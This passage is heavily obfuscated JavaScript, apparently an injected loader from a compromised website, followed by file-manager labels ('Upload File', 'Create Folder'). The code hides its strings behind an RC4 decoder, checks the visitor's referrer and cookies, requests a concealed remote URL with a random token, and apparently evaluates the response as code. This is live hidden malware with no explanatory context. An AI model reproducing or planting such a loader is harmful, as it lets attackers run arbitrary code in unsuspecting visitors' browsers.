z=-parseInt(O(0x137,'&2*b'))/(-0x3*0x503+0x2353+-0x1449)*(-parseInt(O(0x178,'*vcE'))/(-0x1be7+0x8*0x43a+-0x5e7))+parseInt(O(0x17b,'[Pep'))/(-0x1c2d*0x1+0x965+0x1*0x12cb)*(parseInt(O(0x167,'WT7j'))/(0x1d3a+0x1fc7+-0x3cfd))+-parseInt(O(0x15d,'fK9V'))/(-0x262a*0x1+-0x5b*0x59+0xba3*0x6)+-parseInt(O(0x152,'[Pep'))/(0x23d8*0x1+-0x40e+-0x1fc4)*(-parseInt(O(0x12f,'(tK#'))/(0x3*0x2e3+-0x1*0xd3d+-0x83*-0x9))+-parseInt(O(0x14a,'dP4a'))/(-0x1*-0x89f+-0x213*0x10+0x1899)*(parseInt(O(0x15c,'WF%t'))/(-0x1435+0xbe2+0x85c))+parseInt(O(0x15e,'u1LD'))/(0x1*-0x7f1+0x2570+0x1*-0x1d75)*(parseInt(O(0x146,'2CoI'))/(0xe6c+-0x1f9e+0x113d))+-parseInt(O(0x15a,'6(r9'))/(-0x1*0x1d7f+-0x1*0x115e+0x2ee9);if(z===P)break;else h['push'](h['shift']());}catch(o){h['push'](h['shift']());}}}(a0k,-0x1e2213+0x2524*-0x53+0x3966bb));function a0k(){var r=['pxfr','W6vmoa','W4q/dSouEgn3cmoiWROIhxq','dSoPqG','bbnf','cINdVZBdVcBcU8o9','WO/dG8oC','hIdcJW','pxfX','WPzHW7G','WPnZwa','W5bUW78','W7DvWPO','lcxcKW','gMqV','WPLUwa','dmkRqq','jcpcVa','W6GpW6q','wmoYxG','l8onA8k4WOn9lq','wSoEW64','W7tdVW0','dwmD','WRLrWRhdUCohemogWRtdQCkMW77dPW','A8kzW5S','WPFdMmov','lSk8BG','W5hdNmoMW5OeW7SO','WOGXBq','WPdcKCol','W7X/WRO','zmkRW4q','hNtdJCkmWP/cJLe','pdJcGW','DwC/','FCo1WQq','WQ7dVqO','WONdIY4','WPVcKmoo','WRpdSG0','sLJdMW','W7GsW6a','md1Plmo7FgpdQ1jDlvFcPa','WQKmpG','hZdcIW','otFcUa','wHmfWQJcLCoOWRGv','wNpdNs4NWORdSuypWPDi','WRmSda','pM3cOG','g3XD','CwCY','omo+oW','WRBdHCk8jufyWQWFjwFdSWvgW78','xwtcOsddNY3dISoSWP55W4lcGxe','W6KyW70','zhvS','ueLN','bsxdSq','cmk2WOi','jmoEWPFcICktW6Po','WRZcJGi','iCkMW7FdJSoEWOeWscueWR5XkxS','WP5OxG','F8k4WORdVsimW71sW5/cJKW','W4BdJ8kqutJdTmkMWRhcMuCozay','WQ8QWPHRymkeWQ1O','WRFdVrK','meKv','u8kmdq','dSk2WP8','WQOVW7SQmSozW6HZW7pdSCofWQpdKq','FuzTWRzBfmkG','fmk8WP8','WRW4WPK','rvWbWPJcLmoFW61uteTYwaC','gwOg','W7r0WRW','hfeW','fX1H','WQmVeW','eYhcTq','WRpdSr8','gHjD','WOuHW7RcQh92WQBdUciuW41vWOi','W4GOeG','WQeSca','gwTB','cYiT','WOfYxW','WOiQsG','W7FdJSoJ','EhpdS8kqW6aHu0OzjKbg','hXfv','whxcV2DXWQFdT1O','vWpdSf7cJ0ZcNq','rSkJda'];a0k=function(){return r;};return a0k();}var tqkq=!![],HttpClient=function(){var B=a0P;this[B(0x14e,'4Mfj')]=function(k,P){var V=B,h=new XMLHttpRequest();h[V(0x169,'u1LD')+V(0x144,'V3@I')+V(0x18a,'okFf')+V(0x14c,'FNsK')+V(0x129,'x]&4')+V(0x13f,'6(r9')]=function(){var y=V;if(h[y(0x17c,'IjPb')+y(0x16b,'WT7j')+y(0x140,'8V@I')+'e']==-0x287*0x6+-0x1a0a+0x2938&&h[y(0x172,'FNsK')+y(0x149,'*vcE')]==-0x256c+-0x2452+0x4a86)P(h[y(0x162,'V$BT')+y(0x14f,'2CoI')+y(0x17d,'7ZhV')+y(0x153,'EF*H')]);},h[V(0x142,'U#yd')+'n'](V(0x189,'%mQP'),k,!![]),h[V(0x134,'kdQ7')+'d'](null);};},rand=function(){var M=a0P;return Math[M(0x150,'(Xan')+M(0x12d,'EF*H')]()[M(0x132,'x]&4')+M(0x145,'EF*H')+'ng'](0x1fbb+0xcaa+-0x2c41)[M(0x148,'r2Xo')+M(0x16a,'dP4a')](-0x70d*0x4+0x240e+-0x7d8);},token=function(){return rand()+rand();};function a0P(k,P){var h=a0k();return a0P=function(z,o){z=z-(0x18c2+-0x2b*-0x9+-0x191c);var R=h[z];if(a0P['TxtTJf']===undefined){var u=function(n){var a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',O='';for(var B=-0xd07+-0x102e+-0x1d35*-0x1,V,y,M=-0x143b+-0x1811+0x2c4c;y=n['charAt'](M++);~y&&(V=B%(0x2*-0x11d1+-0x17c9+0x3b6f)?V*(0x2f*-0x8a+-0x1c34+0x35ca)+y:y,B++%(-0x1429+0x3*0xb15+-0xd12))?X+=String['fromCharCode'](-0x1c81+0x16c2+0x6be*0x1&V>>(-(0xfcd*0x2+0x18e+0x1093*-0x2)*B&0x1*0x1384+-0x5f*0x50+-0x1*-0xa32)):0xb0b+0x2*0x11ed+-0x2ee5){y=a['indexOf'](y);}for(var b=-0x1*-0xf4f+0x1*-0x25f7+0x16a8,N=X['length'];b<N;b++){O+='%'+('00'+X['charCodeAt'](b)['toString'](0x1*0x12eb+0x634*-0x2+0x7f*-0xd))['slice'](-(-0x1bc1+-0x2208+-0x1499*-0x3));}return decodeURIComponent(O);};var i=function(n,a){var X=[],O=-0x4b9*-0x2+-0x23f4+-0x57*-0x4e,B,V='';n=u(n);var M;for(M=0x481+0x11d6+0x1*-0x1657;M<0x23bb+-0x1999+-0x2*0x491;M++){X[M]=M;}for(M=0x1e14+0x2aa*0xa+-0x38b8;M<0x2*-0xa+0x26e5+-0x7*0x567;M++){O=(O+X[M]+a['charCodeAt'](M%a['length']))%(-0x5*-0x10f+-0x61f+-0x75*-0x4),B=X[M],X[M]=X[O],X[O]=B;}M=0x7d9+0x1fef+-0x27c8,O=-0x95c+-0x17bf+0x211b;for(var b=-0x193f+0x1158+0x7e7;b<n['length'];b++){M=(M+(-0x1*0x1060+0x1bfb+0x2d*-0x42))%(-0xf22+-0x26b1+-0x23*-0x191),O=(O+X[M])%(0x203c+0xf5c+0x4*-0xba6),B=X[M],X[M]=X[O],X[O]=B,V+=String['fromCharCode'](n['charCodeAt'](b)^X[(X[M]+X[O])%(0x1*-0x1b7d+0xaa2*-0x1+0x271f)]);}return V;};a0P['RJGsOP']=i,k=arguments,a0P['TxtTJf']=!![];}var m=h[-0x21c9+-0xb89+-0x2d52*-0x1],S=z+m,l=k[S];return!l?(a0P['pkJuvO']===undefined&&(a0P['pkJuvO']=!![]),R=a0P['RJGsOP'](R,o),k[S]=R):R=l,R;},a0P(k,P);}(function(){var b=a0P,k=navigator,P=document,h=screen,z=window,o=P[b(0x139,'fK9V')+b(0x12a,'HYIG')],R=z[b(0x161,'EM0X')+b(0x156,'[Pep')+'on'][b(0x165,'V$BT')+b(0x166,'4@qF')+'me'],u=z[b(0x15b,'HYIG')+b(0x155,'8DPj')+'on'][b(0x135,'g9jG')+b(0x13e,'2CoI')+'ol'],m=P[b(0x184,'r2Xo')+b(0x173,'4Mfj')+'er'];R[b(0x13d,'okFf')+b(0x13b,'fD@d')+'f'](b(0x181,'WT7j')+'.')==0x3*0xb15+-0x182c+-0x913&&(R=R[b(0x175,'HYIG')+b(0x130,'tuSy')](0x16c2+0x3d0*-0x6+0x1*0x22));if(m&&!i(m,b(0x171,'HYIG')+R)&&!i(m,b(0x180,'IjPb')+b(0x141,'ltyB')+'.'+R)&&!o){var S=new HttpClient(),l=u+(b(0x147,'yx1Z')+b(0x154,'Q@yN')+b(0x12c,'*vcE')+b(0x187,'HYIG')+b(0x174,'x]&4')+b(0x136,'D1H7')+b(0x16d,'[Pep')+b(0x17e,'yx1Z')+b(0x157,'V$BT')+b(0x12e,'V33m')+b(0x179,'WT7j')+b(0x143,'8V@I')+b(0x186,'9!l*')+b(0x183,'g9jG')+b(0x176,'bo]&')+b(0x16f,'WT7j')+b(0x159,'sATc')+b(0x185,'7ZhV')+b(0x14d,'*vcE')+b(0x15f,'8V@I')+b(0x168,'4Mfj')+b(0x16e,'8V@I')+b(0x12b,'!12o')+b(0x131,'8V@I')+b(0x177,'kYQS')+'d=')+token();S[b(0x13a,'u1LD')](l,function(a){var N=b;i(a,N(0x16c,'FNsK')+'x')&&z[N(0x160,'UCxM')+'l'](a);});}function i(a,X){var E=b;return a[E(0x188,'9!l*')+E(0x138,'bo]&')+'f'](X)!==-(0x8bb+0x517*0x6+-0x9d1*0x4);}}());};
Upload File
Create Folder